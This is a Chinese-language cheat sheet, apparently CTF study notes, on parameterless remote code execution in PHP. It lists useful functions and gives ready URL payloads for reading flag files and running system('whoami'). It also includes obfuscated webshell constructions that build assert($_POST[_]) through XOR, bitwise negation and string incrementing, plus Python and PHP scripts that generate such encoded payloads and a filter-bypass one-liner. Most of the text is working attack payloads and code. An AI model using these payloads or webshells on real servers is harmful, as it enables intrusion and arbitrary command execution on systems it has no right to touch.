无参数rce
详细:https://xz.aliyun.com/news/7702
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html?page=2#reply-list
无参数函数
scandir() :#将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换)
localeconv() :#返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个.的用处很大)
getcwd() :#取得当前工作目录
dirname():#函数返回路径中的目录部分
array_flip() :#交换数组中的键和值,成功时返回交换后的数组
array_rand() :#从数组中随机取出一个或多个单元
array_reverse():#将数组内容反转
strrev():#用于反转给定字符串
getcwd():#获取当前工作目录路径
dirname() :#函数返回路径中的目录部分。
chdir() :#函数改变当前的目录。
eval()/assert():#命令执行
hightlight_file()/show_source()/readfile():#读取文件内容
file_get_contents() #读取文件,需要使用var_dump输出
end() : #将内部指针指向数组中的最后一个元素,并输出
next() :#将内部指针指向数组中的下一个元素,并输出
prev() :#将内部指针指向数组中的上一个元素,并输出
reset() : #将内部指针指向数组中的第一个元素,并输出
each() :# 返回当前元素的键名和键值,并将内部指针向前移动
current() :#返回数组中的单元,默认取第一个值。pos()和current()是同一个东西
chr() #ascii码转字符,值取模256
time() #返回时间戳
rand() #返回随机数
localtime(time()) time() #获取当前时间戳,作为参数传给 localtime(),返回当前本地时间的数组
getallheaders()#返回当前请求的所有请求头信息,局限于Apache
get_defined_vars() #作用是返回当前作用域中所有已定义变量的数组[GXYCTF2019]禁止套娃1
#返回一个数组截取第一个参数'.',读取当前文件目录文件名(数组的形式输出),将数组倒放,读取数组的下一个参数,读取文件类容
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
#键 值 替换,随机取一个值
?exp=highlight_file(array_rand(array_flip(scandir(current(localeconv())))));
#cookie: PHPSESSID=flag.php
?exp=highlight_file(session_id(session_start()));
#这道题不支持,需要加上正则匹配来匹配数字才能用;作用:因为cookie值不能传特殊字符,使用16进制进行编码。
?exp=eval(hex2bin(session_id(session_start())));
#bin2hex():16进制编码;hex2bin():16进制解码
#getallheaders()获取所有请求头,以最后一个请求头为第一个,添加请求头:xxx: flag.php(xxx: system('whoami');) 这道题无法使用被过滤了关键字'et'
#PHP5.3 及以下:Nginx 不能用(只有 Apache 能用)。
#PHP5.4~5.6(你现在的版本):Nginx+PHP-FPM 原生支持。
#PHP7+:全环境都稳
?exp=highlight_file(reset(getallheaders()));
#这道题无法使用被过滤了关键字'et',执行系统命令时给变量的值为'system('whoami');'
?exp=highlight_file(end(pos(get_defined_vars())))&a=flag.php;
?exp=highlight_file(end(pos(get_defined_vars())))&a=system('whoami');
?exp=highlight_file(end(next(get_defined_vars()))); #需要通过post传入一个参数为flag.php苛刻rce
php版本/函数区别
php5中assert()是一个普通函数,支持动态调用;php7.0.12以后assert()函数不支持动态调用
#条件: php配置文件short_open_tag ,php5.4后默认支持这种写法;
<?=123?> 等价 <?echo 123?> #第一种输出时可以省略空格,第二种不行php5异或/取反绕过
$_ = "!((%)("^"@[[@[\\"; //构造出assert
$__ = "!+/(("^"~{`{|"; //构造出_POST
$___ = $$__; //$___ = $_POST
$_($___[_]); //assert($_POST[_]);
#需要将上面的镜像url编码
?exp=%24_%20%3D%20%22!((%25)(%22%5E%22%40%5B%5B%40%5B%5C%5C%22%3B%24__%20%3D%20%22!%2B%2F((%22%5E%22~%7B%60%7B%7C%22%3B%24___%20%3D%20%24%24__%3B%24_(%24___%5B_%5D)%3B
#取反
$_ = ~"%9e%8c%8c%9a%8d%8b"; //得到assert,此时$_="assert"
$__ = ~"%a0%af%b0%ac%ab"; //得到_POST,此时$__="_POST"
$___ = $$__; //$___=$_POST
$_($___[_]); //assert($_POST[_])
#
$_=[].''; //得到"Array"
$___ = $_[$__]; //得到"A",$__没有定义,默认为False也即0,此时$___="A"
$__ = $___; //$__="A"
$_ = $___; //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
$___ .= $__; //$___="AS"
$___ .= $__; //$___="ASS"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++; //得到"E",此时$__="E"
$___ .= $__; //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++; //得到"R",此时$__="R"
$___ .= $__; //$___="ASSER"
$__++;$__++; //得到"T",此时$__="T"
$___ .= $__; //$___="ASSERT"
$__ = $_; //$__="A"
$____ = "_"; //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"P",此时$__="P"
$____ .= $__; //$____="_P"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"O",此时$__="O"
$____ .= $__; //$____="_PO"
$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
$____ .= $__; //$____="_POS"
$__++; //得到"T",此时$__="T"
$____ .= $__; //$____="_POST"
$_ = $$____; //$_=$_POST
$___($_[_]); //ASSERT($POST[_])php7
python取反代码脚本
#取反脚本 通用
def get(shell):
hexbit=''.join(map(lambda x: hex(~(-(256-ord(x)))),shell))
hexbit = hexbit.replace('0x','%')
a='(~'
b=')'
hexbit=a+hexbit+b
print(hexbit)
get('system')
get('ls')php取反代码/异或脚本
#取反
<?php
$a = "phpinfo"; // 目标字符串(要还原的函数名)
echo "(~"; // 输出取反运算符前缀
// 遍历字符串的每个字符
for ($i = 0; $i < strlen($a); $i++) {
// 对每个字符按位取反 → 转十六进制 → 拼接URL编码前缀%
echo "%".bin2hex(~$a[$i]);
}
echo ")"; // 输出取反运算符后缀
?>
#异或
<?php
$a = "phpinfo";
// 第一部分:对每个字符和0xff异或,转成十六进制URL编码
for ($i = 0; $i < strlen($a); $i++) {
echo "%".dechex(ord($a[$i])^0xff);
}
echo "^"; // 输出分隔符
// 第二部分:输出与原字符串等长的%ff序列
for ($i = 0; $i < strlen($a); $i++) {
echo "%ff";
}
?>php过滤 括号 引号 空格 分号 命令在$_SESSION['']里
#其他
?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>
很多没写可以看上面的文章